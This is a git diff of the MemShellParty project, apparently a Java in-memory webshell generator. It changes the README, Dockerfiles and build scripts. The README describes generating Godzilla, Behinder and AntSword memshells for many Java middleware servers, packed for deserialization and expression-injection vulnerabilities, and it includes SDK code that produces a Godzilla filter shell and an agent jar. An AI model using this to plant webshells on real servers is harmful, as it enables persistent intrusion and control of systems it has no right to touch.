./gradlew :integration-test:test --info
|
./gradlew :integration-test:test --info
|
||||||
|
|
||||||
# 仅运行 tomcat 下的集成测试用例(需要先构建靶场)
|
# 仅运行 tomcat 下的集成测试用例
|
||||||
./gradlew :vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war
|
|
||||||
./gradlew :integration-test:test --tests '*.tomcat.*'
|
./gradlew :integration-test:test --tests '*.tomcat.*'
|
||||||
|
# 仅运行 jetty 下的集成测试用例
|
||||||
# 仅运行 jetty 下的集成测试用例(需要先构建靶场)
|
|
||||||
./gradlew :vul:vul-webapp:war :vul:vul-webapp-jakarta:war
|
|
||||||
./gradlew :integration-test:test --tests '*.jetty.*'
|
./gradlew :integration-test:test --tests '*.jetty.*'
|
||||||
|
|
||||||
# 构建靶场 war 包
|
# 构建 war 包
|
||||||
./gradlew :vul:vul-webapp:war
|
./gradlew :vul:vul-webapp:war
|
||||||
./gradlew :vul:vul-webapp-jakarta:war
|
./gradlew :vul:vul-webapp-jakarta:war
|
||||||
./gradlew :vul:vul-webapp-expression:war
|
./gradlew :vul:vul-webapp-expression:war
|
||||||
@@ -68,7 +57,7 @@ UI 采用的 React SPA + SpringBoot,构建时需要先将 React 前端项目
|
|||||||
|
|
||||||
### Contribute Code
|
### Contribute Code
|
||||||
|
|
||||||
> 参考 GitHub Docs,https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
|
> 参考 GitHub Docs, https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
|
||||||
|
|
||||||
1. fork 当前项目
|
1. fork 当前项目
|
||||||
2. git clone 自己 fork 后的项目
|
2. git clone 自己 fork 后的项目
|
||||||
|
|||||||
@@ -1,4 +1,7 @@
|
|||||||
FROM --platform=$BUILDPLATFORM buildpack-deps:bullseye-scm AS source
|
FROM buildpack-deps:bullseye-scm AS source
|
||||||
|
|
||||||
|
ARG VERSION="1.0.0"
|
||||||
|
ENV VERSION=${VERSION}
|
||||||
|
|
||||||
WORKDIR /usr/src
|
WORKDIR /usr/src
|
||||||
|
|
||||||
@@ -6,18 +9,17 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
|||||||
rm -rf vul integration-test tools
|
rm -rf vul integration-test tools
|
||||||
|
|
||||||
# https://hub.docker.com/r/oven/bun
|
# https://hub.docker.com/r/oven/bun
|
||||||
FROM --platform=$BUILDPLATFORM oven/bun:1.4.0 AS frontend
|
FROM oven/bun:1.2.9 AS frontend
|
||||||
|
|
||||||
ARG ROUTE_ROOT_PATH=""
|
ARG ROUTE_ROOT_PATH="/"
|
||||||
ARG CONTEXT_PATH=""
|
ARG CONTEXT_PATH=""
|
||||||
|
|
||||||
WORKDIR /usr/src/web
|
WORKDIR /usr/src/web
|
||||||
|
|
||||||
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
||||||
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
|
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}
|
||||||
|
|
||||||
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/
|
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lockb /usr/src/web/
|
||||||
COPY --from=source /usr/src/web/vendor/cfr /usr/src/web/vendor/cfr
|
|
||||||
|
|
||||||
RUN bun install --frozen-lockfile
|
RUN bun install --frozen-lockfile
|
||||||
|
|
||||||
@@ -25,8 +27,11 @@ COPY --from=source /usr/src/web /usr/src/web
|
|||||||
|
|
||||||
RUN bun run build
|
RUN bun run build
|
||||||
|
|
||||||
# https://hub.docker.com/_/eclipse-temurin/tags?name=21.
|
# https://hub.docker.com/_/eclipse-temurin
|
||||||
FROM --platform=$BUILDPLATFORM eclipse-temurin:21.0.12_8-jdk-noble AS backend
|
FROM eclipse-temurin:17.0.14_7-jdk-noble AS backend
|
||||||
|
|
||||||
|
ARG VERSION="1.0.0"
|
||||||
|
ENV VERSION=${VERSION}
|
||||||
|
|
||||||
WORKDIR /usr/src
|
WORKDIR /usr/src
|
||||||
|
|
||||||
@@ -34,9 +39,9 @@ COPY --from=source /usr/src /usr/src
|
|||||||
|
|
||||||
COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/resources
|
COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/resources
|
||||||
|
|
||||||
RUN ./gradlew :boot:bootjar -x test
|
RUN ./gradlew -Pversion=${VERSION} :boot:bootjar -x test
|
||||||
|
|
||||||
FROM eclipse-temurin:21.0.12_8-jre-noble
|
FROM eclipse-temurin:17.0.14_7-jre-noble
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
@@ -57,4 +62,4 @@ ENV INTERNAL_JAVA_OPTS="\
|
|||||||
|
|
||||||
EXPOSE 8080
|
EXPOSE 8080
|
||||||
|
|
||||||
ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS $INTERNAL_JAVA_OPTS -jar app.jar $BOOT_OPTS"]
|
ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS $INTERNAL_JAVA_OPTS -jar app.jar $BOOT_OPTS"]
|
||||||
@@ -1,6 +1,11 @@
|
|||||||
<h1 align="center">MemShellParty</h1>
|
<h1 align="center">MemShellParty</h1>
|
||||||
|
|
||||||
<p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p>
|
<p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p>
|
||||||
|
<div align="center">
|
||||||
|
|
||||||
|
[](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||||
|
[](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
<div align="center">
|
<div align="center">
|
||||||
@@ -12,7 +17,7 @@
|
|||||||
<div align="center">
|
<div align="center">
|
||||||
|
|
||||||
[](https://t.me/memshell)
|
[](https://t.me/memshell)
|
||||||
[](https://party.mem.mk)
|
[](https://party.memshell.news)
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
@@ -20,46 +25,37 @@
|
|||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> 由于本人仅是安全产品研发,无实战经验,如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG
|
> 由于本人仅是安全产品研发,无实战经验,如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG
|
||||||
> 交流群,欢迎一起学习交流。
|
> 交流群,欢迎一起学习交流
|
||||||
|
|
||||||
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
|
MemShellParty 是一款可本地部署的一键生成常见中间件框架内存马的可视化平台,并且致力于打造内存马的全方位的学习平台。
|
||||||
|
在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了。
|
||||||
|
|
||||||
<p align="center">
|
希望你能从这个项目学会或尝试做的:
|
||||||
<img src="assets/normal_memshell.png" alt="normal_memshell" width="24%">
|
|
||||||
<img src="assets/agent_memshell.png" alt="agent_memshell" width="24%">
|
1. 学会编写常见中间件框架的内存马。
|
||||||
<img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
2. 学会使用 [Testcontainers](https://testcontainers.com/) 做 Java 应用的集成测试。
|
||||||
<img src="assets/about_page.png" alt="about_page" width="24%">
|
3. 学会使用 GitHub Actions 编写 CI/CD,编写 CHANGELOG 并通过 CI 自动发布 Release。
|
||||||
</p>
|
4. 尝试使用 [Byte Buddy](https://bytebuddy.net/) 生成类,编写 Agent。
|
||||||
|
5. 尝试使用 Gradle 构建 Java 项目(platform 编写依赖版本管理,toolchain 可以在根项目设置 JDK17 环境下也能完成 JDK6 源代码的编译)
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
## 主要特性
|
## 主要特性
|
||||||
|
|
||||||
- **无侵入性**:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
|
- 无侵入性:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
|
||||||
- **强兼容性**:覆盖攻防场景下常见中间件和框架,以及 JDK 适配 JDK6 ~ JDK21。
|
- 高可用性:自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||||
- **高可用性**:对所有支持的中间件框架建立了全面的自动化测试矩阵,确保每一次生成的载荷都具备最高的可用性和稳定性,杜绝实战中的不确定性。
|
- 最小化:尽可能精简内存马大小,高效传输。
|
||||||
- **极致轻量化**:通过深度优化的字节码生成策略,MemShellParty 将内存马体积相较于 JMG 等传统工具进行了大幅缩小,常规内存马缩小了
|
- 强兼容性:覆盖攻防场景下常见中间件和框架。
|
||||||
**30%**,Agent 内存马采用 ASM 技术缩小了 **80%**。
|
|
||||||
- **傻瓜一键化**:内置针对主流表达式注入、反序列化、SSTI 等常见漏洞的载荷生成。系统会自动根据绕过 Java
|
|
||||||
模块限制配置,动态生成最优攻击载荷。可实现常规漏洞载荷一键生成。
|
|
||||||
- **高灵活性**:原生支持哥斯拉、冰蝎、蚁剑、Suo5、NeoreGeorg 等常用内存马功能,通过高度灵活的自定义内存马上传功能,可以将任何定制化载荷融入
|
|
||||||
MemShellParty 的生成体系,打造最贴合自身战术需求的攻击平台。
|
|
||||||
|
|
||||||
## 快速使用
|
## 快速使用
|
||||||
|
|
||||||
### 使用前必看
|
|
||||||
|
|
||||||
[适配情况](https://party.mem.mk/ui/docs/compatibility),用于了解 MemShellParty
|
|
||||||
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
|
|
||||||
|
|
||||||
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
|
|
||||||
GlassFish,因为它使用的是 GlassFish 进行的二开)。
|
|
||||||
|
|
||||||
### 在线站点
|
### 在线站点
|
||||||
|
|
||||||
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
||||||
|
|
||||||
可访问(master 分支) [https://party.mem.mk](https://party.mem.mk)。每次 Release 都会自动部署最新的镜像。
|
可直接访问 [https://party.memshell.news](https://party.memshell.news)。每次 Release 都会自动部署最新的镜像。
|
||||||
|
|
||||||
对于正在开发的功能可访问(dev 分支) [https://dev-party.mem.mk](https://dev-party.mem.mk) 抢先体验。
|
|
||||||
|
|
||||||
### 本地部署(推荐)
|
### 本地部署(推荐)
|
||||||
|
|
||||||
@@ -78,10 +74,298 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
|
|||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
||||||
```
|
```
|
||||||
|
|
||||||
## Special Thanks
|
镜像是无状态的,在需要更新最新镜像时,直接移除新建就好了
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 移除之前部署的
|
||||||
|
docker rm -f memshell-party
|
||||||
|
|
||||||
|
# 使用之前的部署命令重新部署(会自动拉取最新的镜像部署)
|
||||||
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
### SDK 集成到现有工具中
|
||||||
|
|
||||||
|
> 适合集成到已有工具中,实现内存马 payload 的生成,支持 JDK8 以上版本,v1.7.0 开始支持
|
||||||
|
|
||||||
|
1. 添加依赖,Maven Or Gradle
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<!-- Maven Repo-->
|
||||||
|
<dependency>
|
||||||
|
<groupId>io.github.reajason</groupId>
|
||||||
|
<artifactId>generator</artifactId>
|
||||||
|
<version>1.7.0</version>
|
||||||
|
</dependency>
|
||||||
|
```
|
||||||
|
|
||||||
|
```groovy
|
||||||
|
// Gradle Repo
|
||||||
|
implementation 'io.github.reajason:generator:1.7.0'
|
||||||
|
```
|
||||||
|
|
||||||
|
2. 生成 Tomcat Godzilla Filter 内存马示例
|
||||||
|
|
||||||
|
```java
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.shellTool(ShellTool.Godzilla)
|
||||||
|
.shellType(ShellType.FILTER)
|
||||||
|
.shrink(true) // 缩小字节码
|
||||||
|
.debug(false) // 关闭调试
|
||||||
|
.build();
|
||||||
|
|
||||||
|
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||||
|
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
|
||||||
|
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
|
||||||
|
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||||
|
// .pass("pass")
|
||||||
|
// .key("key")
|
||||||
|
// .headerName("User-Agent")
|
||||||
|
// .headerValue("test")
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||||
|
|
||||||
|
System.out.println("注入器类名:"+result.getInjectorClassName());
|
||||||
|
System.out.println("内存马类名:"+result.getShellClassName());
|
||||||
|
|
||||||
|
System.out.println(result.getShellConfig());
|
||||||
|
System.out.println(result.getShellToolConfig());
|
||||||
|
|
||||||
|
System.out.println("Base64 打包:"+Packers.Base64.getInstance().pack(result));
|
||||||
|
System.out.println("脚本引擎打包:"+Packers.ScriptEngine.getInstance().pack(result));
|
||||||
|
```
|
||||||
|
3. 生成 Tomcat Godzilla AgentFilterChain 示例
|
||||||
|
```java
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.shellTool(ShellTool.Godzilla)
|
||||||
|
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
||||||
|
.shrink(true) // 缩小字节码
|
||||||
|
.debug(false) // 关闭调试
|
||||||
|
.build();
|
||||||
|
|
||||||
|
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||||
|
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
|
||||||
|
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
|
||||||
|
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||||
|
// .pass("pass")
|
||||||
|
// .key("key")
|
||||||
|
// .headerName("User-Agent")
|
||||||
|
// .headerValue("test")
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||||
|
|
||||||
|
System.out.println("注入器类名:" + result.getInjectorClassName());
|
||||||
|
System.out.println("内存马类名:" + result.getShellClassName());
|
||||||
|
|
||||||
|
System.out.println(result.getShellConfig());
|
||||||
|
System.out.println(result.getShellToolConfig());
|
||||||
|
|
||||||
|
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
|
||||||
|
Files.write(Paths.get("agent.jar"), agentJarBytes);
|
||||||
|
```
|
||||||
|
4. 封装统一生成接口可参考 [GeneratorController.java](boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
|
||||||
|
|
||||||
|
## 适配情况
|
||||||
|
|
||||||
|
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
|
||||||
|
|
||||||
|
### 中间件以及框架
|
||||||
|
|
||||||
|
| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
||||||
|
|----------------------|------------------------|----------------------|----------------------|
|
||||||
|
| Servlet | Servlet | Filter | Filter |
|
||||||
|
| Filter | Filter | Listener | Listener |
|
||||||
|
| Listener | Listener | Valve | Valve |
|
||||||
|
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
||||||
|
| ContextValve - Agent | | | |
|
||||||
|
|
||||||
|
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|
||||||
|
|---------------------|--------------------------|-----------------|--------------|
|
||||||
|
| Servlet | Interceptor | WebFilter | NettyHandler |
|
||||||
|
| Filter | ControllerHandler | HandlerMethod | |
|
||||||
|
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
||||||
|
| FilterChain - Agent | | NettyHandler | |
|
||||||
|
|
||||||
|
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|
||||||
|
|----------------------|----------------------------|------------------------|------------------------|
|
||||||
|
| Filter | Filter | Servlet | Servlet |
|
||||||
|
| Listener | Listener | Filter | Filter |
|
||||||
|
| Valve | Valve(6) | Listener | Listener |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
||||||
|
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
||||||
|
| | ServletHandler - Agent (7) | | |
|
||||||
|
|
||||||
|
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
||||||
|
|-----------------------|-------------------------|
|
||||||
|
| Servlet | Servlet |
|
||||||
|
| Filter | Filter |
|
||||||
|
| Listener | Listener |
|
||||||
|
| FilterManager - Agent | ServletContext - Agent |
|
||||||
|
|
||||||
|
| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) | Apusic AS (9) | Primeton(6.5) |
|
||||||
|
|----------------------|----------------------|------------------------|---------------|----------------------|
|
||||||
|
| Filter | Filter | Filter | Servlet | Filter |
|
||||||
|
| Listener | Listener | Listener | Filter | Listener |
|
||||||
|
| Valve | Valve | Valve | Listener | Valve |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | | FilterChain - Agent |
|
||||||
|
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | | ContextValve - Agent |
|
||||||
|
|
||||||
|
### 内存马功能
|
||||||
|
|
||||||
|
- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
|
||||||
|
- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
|
||||||
|
- [x] 命令执行
|
||||||
|
- [x] [Suo5](https://github.com/zema1/suo5)
|
||||||
|
- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
|
||||||
|
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
|
||||||
|
- [x] Custom
|
||||||
|
|
||||||
|
### 封装方式
|
||||||
|
|
||||||
|
- [x] BASE64
|
||||||
|
- [x] GZIP BASE64
|
||||||
|
- [x] JSP
|
||||||
|
- [x] JSPX
|
||||||
|
- [x] JAR
|
||||||
|
- [x] BCEL
|
||||||
|
- [x] 内置脚本引擎、Rhino 脚本引擎
|
||||||
|
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
||||||
|
- [x] Velocity、Freemarker、JinJava
|
||||||
|
- [x] 原生反序列化(CB 和 CC 链)
|
||||||
|
- [x] Agent
|
||||||
|
- [x] XXL-JOB Executor
|
||||||
|
- [x] Hessian、Hessian2 反序列化(XSLT链)
|
||||||
|
- [ ] JNDI
|
||||||
|
- [ ] JDBC 连接
|
||||||
|
- [ ] 其他常见反序列化
|
||||||
|
|
||||||
|
## 本地构建
|
||||||
|
|
||||||
|
### 源代码构建
|
||||||
|
|
||||||
|
> 适合想编写代码的小伙伴,使用 Git Clone 下载到本地,并构建前后端项目以供使用
|
||||||
|
|
||||||
|
首先需要下载 [bun](https://bun.sh/),这是一款用于构建前端服务的工具。
|
||||||
|
|
||||||
|
1. 使用 Git Clone 项目
|
||||||
|
```bash
|
||||||
|
git clone https://github.com/ReaJason/MemShellParty.git
|
||||||
|
```
|
||||||
|
2. 构建前端项目,build 结束会将静态资源自动移动到 Spring Boot 中以供使用
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/web
|
||||||
|
|
||||||
|
bun install
|
||||||
|
|
||||||
|
bun run build
|
||||||
|
```
|
||||||
|
3. 构建后端项目,确保使用 JDK17 环境
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
./gradlew :boot:bootjar -x test
|
||||||
|
```
|
||||||
|
|
||||||
|
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
java -jar \
|
||||||
|
--add-opens=java.base/java.util=ALL-UNNAMED \
|
||||||
|
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
||||||
|
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
|
||||||
|
build/libs/boot-1.0.0.jar
|
||||||
|
```
|
||||||
|
|
||||||
|
也可这基础上再继续构建容器来使用
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
docker buildx build -t memshell-party:latest . --load
|
||||||
|
|
||||||
|
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
### Dockerfile 一键构建
|
||||||
|
|
||||||
|
> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44))
|
||||||
|
|
||||||
|
下载项目根目录的 [Dockerfile](./Dockerfile)
|
||||||
|
|
||||||
|
- VERSION: 版本信息,随意,建议用最新的 tag 号,仅作前端展示
|
||||||
|
- ROUTE_ROOT_PATH: 前端根路由配置
|
||||||
|
- CONTEXT_PATH: 后端访问前缀
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 基础构建
|
||||||
|
docker buildx build \
|
||||||
|
--build-arg VERSION=1.6.0 \
|
||||||
|
-t memshell-party:latest . --load
|
||||||
|
|
||||||
|
# 基础镜像启动,访问 127.0.0.1:8080
|
||||||
|
docker run -it -d -p 8080:8080 memshell-party:latest
|
||||||
|
|
||||||
|
# 自定义访问路径构建
|
||||||
|
docker buildx build \
|
||||||
|
--build-arg VERSION=1.6.0 \
|
||||||
|
--build-arg ROUTE_ROOT_PATH=/memshell-party \
|
||||||
|
--build-arg CONTEXT_PATH=/memshell-party \
|
||||||
|
-t memshell-party:latest . --load
|
||||||
|
|
||||||
|
# 自定义路径构建镜像启动,访问 127.0.0.1:8080/memshell-party
|
||||||
|
docker run -it -p 8080:8080 \
|
||||||
|
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
|
||||||
|
memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
如果需要使用 NGINX 反代,请先使用自定义访问路径构建容器,并配置 NGINX 如下:
|
||||||
|
|
||||||
|
其中 `location /memshell-party`、`ROUTE_ROOT_PATH=/memshell-party`、`CONTEXT_PATH=/memshell-party` 和
|
||||||
|
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` 都要一致才行。
|
||||||
|
|
||||||
|
```text
|
||||||
|
location /memshell-party {
|
||||||
|
proxy_pass http://127.0.0.1:8080;
|
||||||
|
proxy_set_header Host $http_host;
|
||||||
|
proxy_set_header X-Forwarded-By $server_addr:$server_port;
|
||||||
|
proxy_set_header X-Forwarded-For $remote_addr;
|
||||||
|
proxy_http_version 1.1;
|
||||||
|
proxy_connect_timeout 3s;
|
||||||
|
proxy_read_timeout 300s;
|
||||||
|
proxy_send_timeout 300s;
|
||||||
|
proxy_buffer_size 16k;
|
||||||
|
proxy_buffers 8 64k;
|
||||||
|
proxy_busy_buffers_size 128k;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Contribute
|
||||||
|
|
||||||
|
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
|
||||||
|
|
||||||
|
> It will be so nice if you want to contribute. 🎉
|
||||||
|
|
||||||
|
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
|
||||||
|
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
|
||||||
|
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
|
||||||
|
|
||||||
|
项目结构目录、构建和编译可参考 [CONTRIBUTING.md](CONTRIBUTING.md)。
|
||||||
|
|
||||||
|
## Thanks
|
||||||
|
|
||||||
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
|
||||||
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
||||||
- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
|
|
||||||
|
|
||||||
### Let's start the party 🎉
|
### Let's start the party 🎉
|
||||||
|
|||||||
|
After Width: | Height: | Size: 130 KiB |
@@ -2,7 +2,7 @@ FROM python:3.12-slim
|
|||||||
|
|
||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
|
|
||||||
RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
|
RUN pip install requests
|
||||||
|
|
||||||
COPY neoreg.py .
|
COPY neoreg.py .
|
||||||
|
|
||||||
|
After Width: | Height: | Size: 242 KiB |
|
Before Width: | Height: | Size: 92 KiB |
|
Before Width: | Height: | Size: 136 KiB |
|
Before Width: | Height: | Size: 236 KiB |
@@ -1,35 +0,0 @@
|
|||||||
import http.server
|
|
||||||
import socketserver
|
|
||||||
|
|
||||||
PORT = 8000
|
|
||||||
TARGET_PATH = "/api/v1/data"
|
|
||||||
|
|
||||||
|
|
||||||
class SimpleHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
|
||||||
def do_POST(self):
|
|
||||||
if self.path == TARGET_PATH:
|
|
||||||
try:
|
|
||||||
content_length = int(self.headers['Content-Length'])
|
|
||||||
post_data_bytes = self.rfile.read(content_length)
|
|
||||||
post_data_str = post_data_bytes.decode('utf-8')
|
|
||||||
print("-----------------------------\n")
|
|
||||||
print(f"Client IP: {self.client_address}")
|
|
||||||
print(f"Request Header:\n{self.headers}")
|
|
||||||
print(f"Request Body:\n{post_data_str}")
|
|
||||||
print("-----------------------------\n")
|
|
||||||
self.send_response(200)
|
|
||||||
self.send_header('Content-type', 'application/json')
|
|
||||||
self.end_headers()
|
|
||||||
response_message = '{"status": "success"}'
|
|
||||||
self.wfile.write(response_message.encode('utf-8'))
|
|
||||||
except Exception as e:
|
|
||||||
print(f"Parse POST failed: {e}")
|
|
||||||
self.send_response(500)
|
|
||||||
else:
|
|
||||||
print("Make sure use " + TARGET_PATH + " rather than " + self.path)
|
|
||||||
self.send_response(404)
|
|
||||||
|
|
||||||
|
|
||||||
with socketserver.TCPServer(("", PORT), SimpleHTTPRequestHandler) as httpd:
|
|
||||||
print(f"POST request at http://localhost:{PORT}{TARGET_PATH} Listening ")
|
|
||||||
httpd.serve_forever()
|
|
||||||
@@ -1,16 +0,0 @@
|
|||||||
import http from 'k6/http';
|
|
||||||
import {check, sleep} from 'k6';
|
|
||||||
|
|
||||||
export const options = {
|
|
||||||
rps: 4500,
|
|
||||||
vus: 10,
|
|
||||||
duration: '5m',
|
|
||||||
};
|
|
||||||
|
|
||||||
export default function () {
|
|
||||||
const res = http.get('http://localhost:8082/app/test');
|
|
||||||
check(res, {
|
|
||||||
'status is 200': (r) => r.status === 200,
|
|
||||||
});
|
|
||||||
sleep(1);
|
|
||||||
}
|
|
||||||
|
Before Width: | Height: | Size: 268 KiB |
@@ -1,4 +1,4 @@
|
|||||||
FROM eclipse-temurin:21.0.11_10-jre-noble
|
FROM eclipse-temurin:17.0.14_7-jre-noble
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,63 @@
|
|||||||
|
plugins {
|
||||||
|
id 'java'
|
||||||
|
id 'org.springframework.boot' version '3.4.0'
|
||||||
|
id 'io.spring.dependency-management' version '1.1.6'
|
||||||
|
}
|
||||||
|
|
||||||
|
group = 'com.reajason.javaweb'
|
||||||
|
version = rootProject.version
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(17)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
def runtimeJvmArgs = [
|
||||||
|
'--add-opens=java.base/java.util=ALL-UNNAMED',
|
||||||
|
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
|
||||||
|
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
|
||||||
|
]
|
||||||
|
|
||||||
|
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
|
||||||
|
|
||||||
|
tasks.withType(Test).configureEach {
|
||||||
|
jvmArgs += runtimeJvmArgs
|
||||||
|
}
|
||||||
|
|
||||||
|
// For running the application
|
||||||
|
tasks.withType(JavaExec).configureEach {
|
||||||
|
jvmArgs += runtimeJvmArgs
|
||||||
|
}
|
||||||
|
|
||||||
|
configurations {
|
||||||
|
